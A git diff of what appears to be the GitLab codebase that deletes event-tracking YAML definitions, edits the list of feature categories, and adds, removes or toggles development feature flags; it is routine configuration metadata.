-label_description:
-property_description:
-value_description:
-extra_properties:
-identifiers:
-product_section: ops
-product_stage: package
-product_group: package
-product_category:
-milestone: "13.5"
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/41846
-distributions:
-- ce
-tiers:
-- free
diff --git a/config/events/api__project_container_repositories_list_tags.yml b/config/events/api__project_container_repositories_list_tags.yml
deleted file mode 100644
index 5e269e2d69e..00000000000
--- a/config/events/api__project_container_repositories_list_tags.yml
+++ /dev/null
@@ -1,18 +0,0 @@
-description: List project repositories tags
-category: API::ProjectContainerRepositories
-action: list_tags
-label_description:
-property_description:
-value_description:
-extra_properties:
-identifiers:
-product_section: ops
-product_stage: package
-product_group: package
-product_category:
-milestone: "13.5"
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/41846
-distributions:
-- ce
-tiers:
-- free
diff --git a/config/events/api__pypi_packages_list_package.yml b/config/events/api__pypi_packages_list_package.yml
deleted file mode 100644
index adb9d91bcee..00000000000
--- a/config/events/api__pypi_packages_list_package.yml
+++ /dev/null
@@ -1,18 +0,0 @@
-description: List PyPI packages
-category: API::PypiPackages
-action: list_package
-label_description:
-property_description:
-value_description:
-extra_properties:
-identifiers:
-product_section: ops
-product_stage: package
-product_group: package
-product_category:
-milestone: "13.5"
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/41846
-distributions:
-- ce
-tiers:
-- free
diff --git a/config/events/cluster_applications_cluster_application_name.yml b/config/events/cluster_applications_cluster_application_name.yml
deleted file mode 100644
index e993c7ce9f5..00000000000
--- a/config/events/cluster_applications_cluster_application_name.yml
+++ /dev/null
@@ -1,18 +0,0 @@
-description: Install cluster application
-category: cluster:applications
-action: cluster application name
-label_description:
-property_description:
-value_description:
-extra_properties:
-identifiers:
-product_section: ops
-product_stage: monitor
-product_group: monitor
-product_category:
-milestone: "12.7"
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/23000
-distributions:
-- ce
-tiers:
-- free
diff --git a/config/events/cluster_services_prometheus_disabled_manual_prometheus.yml b/config/events/cluster_services_prometheus_disabled_manual_prometheus.yml
deleted file mode 100644
index 805929b01b6..00000000000
--- a/config/events/cluster_services_prometheus_disabled_manual_prometheus.yml
+++ /dev/null
@@ -1,18 +0,0 @@
-description: Disable manual prometheus
-category: cluster:services:prometheus
-action: disabled_manual_prometheus
-label_description:
-property_description:
-value_description:
-extra_properties:
-identifiers:
-product_section: dev
-product_stage: ecosystem
-product_group: group::integrations
-product_category:
-milestone: "14.0"
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/62645
-distributions:
-- ce
-tiers:
-- free
diff --git a/config/events/cluster_services_prometheus_enabled_manual_prometheus.yml b/config/events/cluster_services_prometheus_enabled_manual_prometheus.yml
deleted file mode 100644
index d9377a07cf2..00000000000
--- a/config/events/cluster_services_prometheus_enabled_manual_prometheus.yml
+++ /dev/null
@@ -1,18 +0,0 @@
-description: Enable manual prometheus
-category: cluster:services:prometheus
-action: enabled_manual_prometheus
-label_description:
-property_description:
-value_description:
-extra_properties:
-identifiers:
-product_section: dev
-product_stage: ecosystem
-product_group: group::integrations
-product_category:
-milestone: "14.0"
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/62645
-distributions:
-- ce
-tiers:
-- free
diff --git a/config/events/container_registry_notification_create_repository.yml b/config/events/container_registry_notification_create_repository.yml
deleted file mode 100644
index fa455140468..00000000000
--- a/config/events/container_registry_notification_create_repository.yml
+++ /dev/null
@@ -1,18 +0,0 @@
-description: Create repository container registry notification
-category: container_registry:notification
-action: create_repository
-label_description:
-property_description:
-value_description:
-extra_properties:
-identifiers:
-product_section: ops
-product_stage: package
-product_group: package
-product_category:
-milestone: "12.10"
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/27001
-distributions:
-- ce
-tiers:
-- free
diff --git a/config/events/container_registry_notification_delete_repository.yml b/config/events/container_registry_notification_delete_repository.yml
deleted file mode 100644
index ceb7c5e4155..00000000000
--- a/config/events/container_registry_notification_delete_repository.yml
+++ /dev/null
@@ -1,18 +0,0 @@
-description: Delete repository container registry notification
-category: container_registry:notification
-action: delete_repository
-label_description:
-property_description:
-value_description:
-extra_properties:
-identifiers:
-product_section: ops
-product_stage: package
-product_group: package
-product_category:
-milestone: "12.10"
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/27001
-distributions:
-- ce
-tiers:
-- free
diff --git a/config/events/container_registry_notification_delete_tag.yml b/config/events/container_registry_notification_delete_tag.yml
deleted file mode 100644
index 8e33c901e0e..00000000000
--- a/config/events/container_registry_notification_delete_tag.yml
+++ /dev/null
@@ -1,18 +0,0 @@
-description: Delete tag container registry notification
-category: container_registry:notification
-action: delete_tag
-label_description:
-property_description:
-value_description:
-extra_properties:
-identifiers:
-product_section: ops
-product_stage: package
-product_group: package
-product_category:
-milestone: "12.10"
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/27001
-distributions:
-- ce
-tiers:
-- free
diff --git a/config/events/container_registry_notification_push_repository.yml b/config/events/container_registry_notification_push_repository.yml
deleted file mode 100644
index 10edf3ceafd..00000000000
--- a/config/events/container_registry_notification_push_repository.yml
+++ /dev/null
@@ -1,18 +0,0 @@
-description: Push repository container registry notification
-category: container_registry:notification
-action: push_repository
-label_description:
-property_description:
-value_description:
-extra_properties:
-identifiers:
-product_section: ops
-product_stage: package
-product_group: package
-product_category:
-milestone: "12.10"
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/27001
-distributions:
-- ce
-tiers:
-- free
diff --git a/config/events/container_registry_notification_push_tag.yml b/config/events/container_registry_notification_push_tag.yml
deleted file mode 100644
index 9679dd4e52f..00000000000
--- a/config/events/container_registry_notification_push_tag.yml
+++ /dev/null
@@ -1,18 +0,0 @@
-description: Push tag container registry notification
-category: container_registry:notification
-action: push_tag
-label_description:
-property_description:
-value_description:
-extra_properties:
-identifiers:
-product_section: ops
-product_stage: package
-product_group: package
-product_category:
-milestone: "12.10"
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/27001
-distributions:
-- ce
-tiers:
-- free
diff --git a/config/events/delete_repository_container.yml b/config/events/delete_repository_container.yml
deleted file mode 100644
index 491cf9a7e4a..00000000000
--- a/config/events/delete_repository_container.yml
+++ /dev/null
@@ -1,18 +0,0 @@
-description: Delete repository
-category: delete_repository
-action: container
-label_description:
-property_description:
-value_description:
-extra_properties:
-identifiers:
-product_section: ops
-product_stage: package
-product_group: package
-product_category:
-milestone: "13.6"
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/47175
-distributions:
-- ce
-tiers:
-- free
diff --git a/config/events/delete_tag_bulk_tag.yml b/config/events/delete_tag_bulk_tag.yml
deleted file mode 100644
index feaca98bd38..00000000000
--- a/config/events/delete_tag_bulk_tag.yml
+++ /dev/null
@@ -1,18 +0,0 @@
-description: Delete container repository tags in bulk
-category: delete_tag_bulk
-action: tag
-label_description:
-property_description:
-value_description:
-extra_properties:
-identifiers:
-product_section: ops
-product_stage: package
-product_group: package
-product_category:
-milestone: "13.7"
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/48617
-distributions:
-- ce
-tiers:
-- free
diff --git a/config/events/experiment_name_initial_write.yml b/config/events/experiment_name_initial_write.yml
deleted file mode 100644
index f2233f7dabb..00000000000
--- a/config/events/experiment_name_initial_write.yml
+++ /dev/null
@@ -1,18 +0,0 @@
-description: First commit on empty repo experiment
-category: experiment name
-action: initial_write
-label_description:
-property_description:
-value_description:
-extra_properties:
-identifiers:
-product_section: growth
-product_stage: growth
-product_group: adoption
-product_category:
-milestone: "13.12"
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/59713
-distributions:
-- ce
-tiers:
-- free
diff --git a/config/events/experiment_name_write.yml b/config/events/experiment_name_write.yml
deleted file mode 100644
index 82b5d18bd91..00000000000
--- a/config/events/experiment_name_write.yml
+++ /dev/null
@@ -1,18 +0,0 @@
-description: First commits on new project README experiment
-category: experiment name
-action: write
-label_description:
-property_description:
-value_description:
-extra_properties:
-identifiers:
-product_section: growth
-product_stage: growth
-product_group: adoption
-product_category:
-milestone: "13.12"
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/59713
-distributions:
-- ce
-tiers:
-- free
diff --git a/config/events/groups__email_campaigns_controller_click.yml b/config/events/groups__email_campaigns_controller_click.yml
deleted file mode 100644
index bbc2abb8707..00000000000
--- a/config/events/groups__email_campaigns_controller_click.yml
+++ /dev/null
@@ -1,18 +0,0 @@
-description: Marketing email campaigns
-category: Groups::EmailCampaignsController
-action: click
-label_description:
-property_description:
-value_description:
-extra_properties:
-identifiers:
-product_section: growth
-product_stage: growth
-product_group: activation
-product_category:
-milestone: "13.11"
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56015
-distributions:
-- ce
-tiers:
-- free
diff --git a/config/events/groups__registry__repositories_controller_list_repositories.yml b/config/events/groups__registry__repositories_controller_list_repositories.yml
deleted file mode 100644
index 1fafbf75103..00000000000
--- a/config/events/groups__registry__repositories_controller_list_repositories.yml
+++ /dev/null
@@ -1,18 +0,0 @@
-description: List group repositories
-category: Groups::Registry::RepositoriesController
-action: list_repositories
-label_description:
-property_description:
-value_description:
-extra_properties:
-identifiers:
-product_section: ops
-product_stage: package
-product_group: package
-product_category:
-milestone: "13.5"
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/41846
-distributions:
-- ce
-tiers:
-- free
diff --git a/config/events/incident_management__zoom_integration_add_zoom_meeting.yml b/config/events/incident_management__zoom_integration_add_zoom_meeting.yml
deleted file mode 100644
index 7b9331d3244..00000000000
--- a/config/events/incident_management__zoom_integration_add_zoom_meeting.yml
+++ /dev/null
@@ -1,18 +0,0 @@
-description: Add Zoom meeting
-category: IncidentManagement::ZoomIntegration
-action: add_zoom_meeting
-label_description: The string "Issue ID"
-property_description:
-value_description: ID of the issue
-extra_properties:
-identifiers:
-product_section: ops
-product_stage: monitor
-product_group: monitor
-product_category:
-milestone: "12.4"
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/18620
-distributions:
-- ce
-tiers:
-- free
diff --git a/config/events/incident_management__zoom_integration_remove_zoom_meeting.yml b/config/events/incident_management__zoom_integration_remove_zoom_meeting.yml
deleted file mode 100644
index 5abc1b8bbc7..00000000000
--- a/config/events/incident_management__zoom_integration_remove_zoom_meeting.yml
+++ /dev/null
@@ -1,18 +0,0 @@
-description: Remove Zoom meeting
-category: IncidentManagement::ZoomIntegration
-action: remove_zoom_meeting
-label_description: The string "Issue ID"
-property_description:
-value_description: ID of the issue
-extra_properties:
-identifiers:
-product_section: ops
-product_stage: monitor
-product_group: monitor
-product_category:
-milestone: "12.4"
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/18620
-distributions:
-- ce
-tiers:
-- free
diff --git a/config/events/list_repositories_container.yml b/config/events/list_repositories_container.yml
deleted file mode 100644
index ec3775cb9f8..00000000000
--- a/config/events/list_repositories_container.yml
+++ /dev/null
@@ -1,18 +0,0 @@
-description: List container repositories
-category: list_repositories
-action: container
-label_description:
-property_description:
-value_description:
-extra_properties:
-identifiers:
-product_section: ops
-product_stage: package
-product_group: package
-product_category:
-milestone: "13.6"
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/44926
-distributions:
-- ce
-tiers:
-- free
diff --git a/config/events/notes__create_service_execute.yml b/config/events/notes__create_service_execute.yml
deleted file mode 100644
index 39c24f05551..00000000000
--- a/config/events/notes__create_service_execute.yml
+++ /dev/null
@@ -1,18 +0,0 @@
-description: Create note
-category: Notes::CreateService
-action: execute
-label_description: One of "anonymous_visual_review_note", "note"
-property_description:
-value_description: ID of the note
-extra_properties:
-identifiers:
-product_section: ops
-product_stage: verify
-product_group: testing
-product_category:
-milestone: "12.5"
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/18890
-distributions:
-- ce
-tiers:
-- free
diff --git a/config/events/package_class_pull_package.yml b/config/events/package_class_pull_package.yml
deleted file mode 100644
index 2a35ce0dd3a..00000000000
--- a/config/events/package_class_pull_package.yml
+++ /dev/null
@@ -1,18 +0,0 @@
-description: Get package
-category: package class
-action: pull_package
-label_description:
-property_description:
-value_description:
-extra_properties:
-identifiers:
-product_section: ops
-product_stage: package
-product_group: package
-product_category:
-milestone: "13.5"
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/41846
-distributions:
-- ce
-tiers:
-- free
diff --git a/config/events/package_class_push_package.yml b/config/events/package_class_push_package.yml
deleted file mode 100644
index 26945c7cb9e..00000000000
--- a/config/events/package_class_push_package.yml
+++ /dev/null
@@ -1,18 +0,0 @@
-description: Package registered
-category: package class
-action: push_package
-label_description:
-property_description:
-value_description:
-extra_properties:
-identifiers:
-product_section: ops
-product_stage: package
-product_group: package
-product_category:
-milestone: "13.5"
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/41846
-distributions:
-- ce
-tiers:
-- free
diff --git a/config/events/projects__registry__repositories_controller_delete_repository.yml b/config/events/projects__registry__repositories_controller_delete_repository.yml
deleted file mode 100644
index 44c769a03a0..00000000000
--- a/config/events/projects__registry__repositories_controller_delete_repository.yml
+++ /dev/null
@@ -1,18 +0,0 @@
-description: Delete project repository
-category: Projects::Registry::RepositoriesController
-action: delete_repository
-label_description:
-property_description:
-value_description:
-extra_properties:
-identifiers:
-product_section: ops
-product_stage: package
-product_group: package
-product_category:
-milestone: "13.5"
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/41846
-distributions:
-- ce
-tiers:
-- free
diff --git a/config/events/projects__registry__repositories_controller_list_repositories.yml b/config/events/projects__registry__repositories_controller_list_repositories.yml
deleted file mode 100644
index 6dc67091a9a..00000000000
--- a/config/events/projects__registry__repositories_controller_list_repositories.yml
+++ /dev/null
@@ -1,18 +0,0 @@
-description: List project repositories
-category: Projects::Registry::RepositoriesController
-action: list_repositories
-label_description:
-property_description:
-value_description:
-extra_properties:
-identifiers:
-product_section: ops
-product_stage: package
-product_group: package
-product_category:
-milestone: "13.5"
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/41846
-distributions:
-- ce
-tiers:
-- free
diff --git a/config/events/projects__registry__tags_controller_delete_tag.yml b/config/events/projects__registry__tags_controller_delete_tag.yml
deleted file mode 100644
index 73bee5f7318..00000000000
--- a/config/events/projects__registry__tags_controller_delete_tag.yml
+++ /dev/null
@@ -1,18 +0,0 @@
-description: Delete project tag
-category: Projects::Registry::TagsController
-action: delete_tag
-label_description:
-property_description:
-value_description:
-extra_properties:
-identifiers:
-product_section: ops
-product_stage: package
-product_group: package
-product_category:
-milestone: "13.5"
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/41846
-distributions:
-- ce
-tiers:
-- free
diff --git a/config/events/projects__registry__tags_controller_delete_tag_bulk.yml b/config/events/projects__registry__tags_controller_delete_tag_bulk.yml
deleted file mode 100644
index 715e3549ed3..00000000000
--- a/config/events/projects__registry__tags_controller_delete_tag_bulk.yml
+++ /dev/null
@@ -1,18 +0,0 @@
-description: Delete project tag in bulk
-category: Projects::Registry::TagsController
-action: delete_tag_bulk
-label_description:
-property_description:
-value_description:
-extra_properties:
-identifiers:
-product_section: ops
-product_stage: package
-product_group: package
-product_category:
-milestone: "13.5"
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/41846
-distributions:
-- ce
-tiers:
-- free
diff --git a/config/events/projects__registry__tags_controller_list_tags.yml b/config/events/projects__registry__tags_controller_list_tags.yml
deleted file mode 100644
index 5b655ee6c39..00000000000
--- a/config/events/projects__registry__tags_controller_list_tags.yml
+++ /dev/null
@@ -1,18 +0,0 @@
-description: List project registry tags
-category: Projects::Registry::TagsController
-action: list_tags
-label_description:
-property_description:
-value_description:
-extra_properties:
-identifiers:
-product_section: ops
-product_stage: package
-product_group: package
-product_category:
-milestone: "13.5"
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/41846
-distributions:
-- ce
-tiers:
-- free
diff --git a/config/feature_categories.yml b/config/feature_categories.yml
index 04804e373ab..edc6541db8c 100644
--- a/config/feature_categories.yml
+++ b/config/feature_categories.yml
@@ -9,12 +9,14 @@
---
- accessibility_testing
- advanced_deployments
+- api_security
- attack_emulation
- audit_events
- audit_reports
- authentication_and_authorization
- auto_devops
- backup_restore
+- build
- build_artifacts
- chatops
- cloud_native_installation
@@ -33,16 +35,18 @@
- database
- dataops
- delivery
-- delivery_management
- dependency_firewall
- dependency_proxy
- dependency_scanning
+- deployment_management
- design_management
+- design_system
- devops_reports
- disaster_recovery
- dynamic_application_security_testing
- editor_extension
- environment_management
+- error_budgets
- error_tracking
- experimentation_activation
- experimentation_adoption
@@ -50,20 +54,19 @@
- experimentation_expansion
- feature_flags
- five_minute_production_app
-- foundations
- fuzz_testing
- geo_replication
- git_lfs
- gitaly
- gitlab_docs
- global_search
-- google_cloud
- helm_chart_registry
- horse
- importers
- incident_management
- infrastructure_as_code
- insider_threat
+- instance_resiliency
- integrations
- intel_code_security
- interactive_application_security_testing
@@ -86,7 +89,6 @@
- package_registry
- pages
- performance_testing
-- pipeline_abuse_prevention
- pipeline_authoring
- planning_analytics
- portfolio_management
diff --git a/config/feature_flags/development/abort_deleted_project_pipelines.yml b/config/feature_flags/development/abort_deleted_project_pipelines.yml
deleted file mode 100644
index 0e7a936e6a5..00000000000
--- a/config/feature_flags/development/abort_deleted_project_pipelines.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: abort_deleted_project_pipelines
-introduced_by_url: https://gitlab.com/gitlab-org/security/gitlab/-/merge_requests/1220
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/301106
-milestone: '13.9'
-type: development
-group: group::pipeline execution
-default_enabled: true
diff --git a/config/feature_flags/development/admin_deploy_keys_vue.yml b/config/feature_flags/development/admin_deploy_keys_vue.yml
index c57ed728ffb..21e1b501d7a 100644
--- a/config/feature_flags/development/admin_deploy_keys_vue.yml
+++ b/config/feature_flags/development/admin_deploy_keys_vue.yml
@@ -5,4 +5,4 @@ rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/344855
milestone: '14.5'
type: development
group: group::access
-default_enabled: false
+default_enabled: true
diff --git a/config/feature_flags/development/api_v3_commits_skip_diff_files.yml b/config/feature_flags/development/api_v3_commits_skip_diff_files.yml
deleted file mode 100644
index a3a953e983c..00000000000
--- a/config/feature_flags/development/api_v3_commits_skip_diff_files.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: api_v3_commits_skip_diff_files
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/67647
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/344617
-milestone: '14.5'
-type: development
-group: group::integrations
-default_enabled: true
diff --git a/config/feature_flags/development/atomic_sidekiq_scheduler.yml b/config/feature_flags/development/atomic_sidekiq_scheduler.yml
deleted file mode 100644
index ab516f61144..00000000000
--- a/config/feature_flags/development/atomic_sidekiq_scheduler.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: atomic_sidekiq_scheduler
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/72380
-rollout_issue_url:
-milestone: '14.5'
-type: development
-group: group::project management
-default_enabled: false
diff --git a/config/feature_flags/development/automated_email_provision.yml b/config/feature_flags/development/automated_email_provision.yml
new file mode 100644
index 00000000000..2b3fee208ab
--- /dev/null
+++ b/config/feature_flags/development/automated_email_provision.yml
@@ -0,0 +1,8 @@
+---
+name: automated_email_provision
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/75872
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/348317
+milestone: '14.6'
+type: development
+group: group::license
+default_enabled: false
diff --git a/config/feature_flags/development/avoid_cross_joins_environments_in_self_and_descendants.yml b/config/feature_flags/development/avoid_cross_joins_environments_in_self_and_descendants.yml
deleted file mode 100644
index 25b714b2c65..00000000000
--- a/config/feature_flags/development/avoid_cross_joins_environments_in_self_and_descendants.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: avoid_cross_joins_environments_in_self_and_descendants
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/71894
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/342991
-milestone: '14.4'
-type: development
-group: group::release
-default_enabled: false
diff --git a/config/feature_flags/development/between_commits_via_list_commits.yml b/config/feature_flags/development/between_commits_via_list_commits.yml
deleted file mode 100644
index f048fd4e1b6..00000000000
--- a/config/feature_flags/development/between_commits_via_list_commits.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: between_commits_via_list_commits
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/74273
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/345458
-milestone: '14.5'
-type: development
-group: group::gitaly
-default_enabled: false
diff --git a/config/feature_flags/development/branches_pagination_without_count.yml b/config/feature_flags/development/branches_pagination_without_count.yml
deleted file mode 100644
index ed29caff812..00000000000
--- a/config/feature_flags/development/branches_pagination_without_count.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: branches_pagination_without_count
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/50759
-rollout_issue_url:
-milestone: '13.9'
-type: development
-group: group::source code
-default_enabled: false
diff --git a/config/feature_flags/development/cached_mr_title.yml b/config/feature_flags/development/cached_mr_title.yml
deleted file mode 100644
index 0284663f441..00000000000
--- a/config/feature_flags/development/cached_mr_title.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: cached_mr_title
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/61605
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/330907
-milestone: '13.12'
-type: development
-group: group::source code
-default_enabled: false
diff --git a/config/feature_flags/development/ci_build_tags_limit.yml b/config/feature_flags/development/ci_build_tags_limit.yml
deleted file mode 100644
index 8aaa03a87e3..00000000000
--- a/config/feature_flags/development/ci_build_tags_limit.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: ci_build_tags_limit
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/68380
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/338929
-milestone: '14.2'
-type: development
-group: group::pipeline execution
-default_enabled: true
diff --git a/config/feature_flags/development/ci_bulk_insert_tags.yml b/config/feature_flags/development/ci_bulk_insert_tags.yml
new file mode 100644
index 00000000000..6b8ad4ef39d
--- /dev/null
+++ b/config/feature_flags/development/ci_bulk_insert_tags.yml
@@ -0,0 +1,8 @@
+---
+name: ci_bulk_insert_tags
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/73198
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/346124
+milestone: '14.6'
+type: development
+group: group::pipeline execution
+default_enabled: false
diff --git a/config/feature_flags/development/ci_namespace_project_mirrors.yml b/config/feature_flags/development/ci_namespace_project_mirrors.yml
new file mode 100644
index 00000000000..a2d674c3770
--- /dev/null
+++ b/config/feature_flags/development/ci_namespace_project_mirrors.yml
@@ -0,0 +1,8 @@
+---
+name: ci_namespace_project_mirrors
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/75517
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/346786
+milestone: '14.6'
+type: development
+group: group::sharding
+default_enabled: false
diff --git a/config/feature_flags/development/ci_new_query_for_pending_stuck_jobs.yml b/config/feature_flags/development/ci_new_query_for_pending_stuck_jobs.yml
deleted file mode 100644
index 5e63330d01d..00000000000
--- a/config/feature_flags/development/ci_new_query_for_pending_stuck_jobs.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: ci_new_query_for_pending_stuck_jobs
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/68880
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/339322
-milestone: '14.3'
-type: development
-group: group::pipeline execution
-default_enabled: false
diff --git a/config/feature_flags/development/ci_optimize_project_records_destruction.yml b/config/feature_flags/development/ci_optimize_project_records_destruction.yml
deleted file mode 100644
index 73ad4ae995c..00000000000
--- a/config/feature_flags/development/ci_optimize_project_records_destruction.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: ci_optimize_project_records_destruction
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/71342
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/341936
-milestone: '14.4'
-type: development
-group: group::pipeline execution
-default_enabled: false
diff --git a/config/feature_flags/development/ci_pending_builds_maintain_ci_minutes_data.yml b/config/feature_flags/development/ci_pending_builds_maintain_ci_minutes_data.yml
deleted file mode 100644
index f073e94e322..00000000000
--- a/config/feature_flags/development/ci_pending_builds_maintain_ci_minutes_data.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: ci_pending_builds_maintain_ci_minutes_data
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/64443
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/338149
-milestone: '14.2'
-type: development
-group: group::pipeline execution
-default_enabled: false
diff --git a/config/feature_flags/development/ci_pending_builds_maintain_denormalized_data.yml b/config/feature_flags/development/ci_pending_builds_maintain_denormalized_data.yml
new file mode 100644
index 00000000000..3a5ec00c32d
--- /dev/null
+++ b/config/feature_flags/development/ci_pending_builds_maintain_denormalized_data.yml
@@ -0,0 +1,8 @@
+---
+name: ci_pending_builds_maintain_denormalized_data
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/75425
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/332951
+milestone: '14.6'
+type: development
+group: group::pipeline execution
+default_enabled: true
diff --git a/config/feature_flags/development/ci_pending_builds_maintain_namespace_traversal_ids.yml b/config/feature_flags/development/ci_pending_builds_maintain_namespace_traversal_ids.yml
deleted file mode 100644
index 0eafb604fed..00000000000
--- a/config/feature_flags/development/ci_pending_builds_maintain_namespace_traversal_ids.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: ci_pending_builds_maintain_namespace_traversal_ids
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/70162
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/340930
-milestone: '14.3'
-type: development
-group: group::pipeline execution
-default_enabled: false
diff --git a/config/feature_flags/development/ci_pending_builds_maintain_shared_runners_data.yml b/config/feature_flags/development/ci_pending_builds_maintain_shared_runners_data.yml
deleted file mode 100644
index 16b318509dc..00000000000
--- a/config/feature_flags/development/ci_pending_builds_maintain_shared_runners_data.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: ci_pending_builds_maintain_shared_runners_data
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/64644
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/338152
-milestone: '14.1'
-type: development
-group: group::pipeline execution
-default_enabled: false
diff --git a/config/feature_flags/development/ci_pending_builds_maintain_tags_data.yml b/config/feature_flags/development/ci_pending_builds_maintain_tags_data.yml
deleted file mode 100644
index bd18789bbcf..00000000000
--- a/config/feature_flags/development/ci_pending_builds_maintain_tags_data.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: ci_pending_builds_maintain_tags_data
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/65648
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/338363
-milestone: '14.2'
-type: development
-group: group::pipeline execution
-default_enabled: false
diff --git a/config/feature_flags/development/ci_pending_builds_project_runners_decoupling.yml b/config/feature_flags/development/ci_pending_builds_project_runners_decoupling.yml
deleted file mode 100644
index 82acc907507..00000000000
--- a/config/feature_flags/development/ci_pending_builds_project_runners_decoupling.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: ci_pending_builds_project_runners_decoupling
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/70415
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/341005
-milestone: '14.4'
-type: development
-group: group::pipeline execution
-default_enabled: false
diff --git a/config/feature_flags/development/ci_pending_builds_queue_maintain.yml b/config/feature_flags/development/ci_pending_builds_queue_maintain.yml
deleted file mode 100644
index 1c6f6935897..00000000000
--- a/config/feature_flags/development/ci_pending_builds_queue_maintain.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: ci_pending_builds_queue_maintain
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/61581
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/331496
-milestone: '13.12'
-type: development
-group: group::pipeline execution
-default_enabled: false
diff --git a/config/feature_flags/development/ci_predefined_vars_in_builder.yml b/config/feature_flags/development/ci_predefined_vars_in_builder.yml
deleted file mode 100644
index 5aacf6ee681..00000000000
--- a/config/feature_flags/development/ci_predefined_vars_in_builder.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: ci_predefined_vars_in_builder
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/72348
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/231300
-milestone: '14.4'
-type: development
-group: group::pipeline authoring
-default_enabled: false
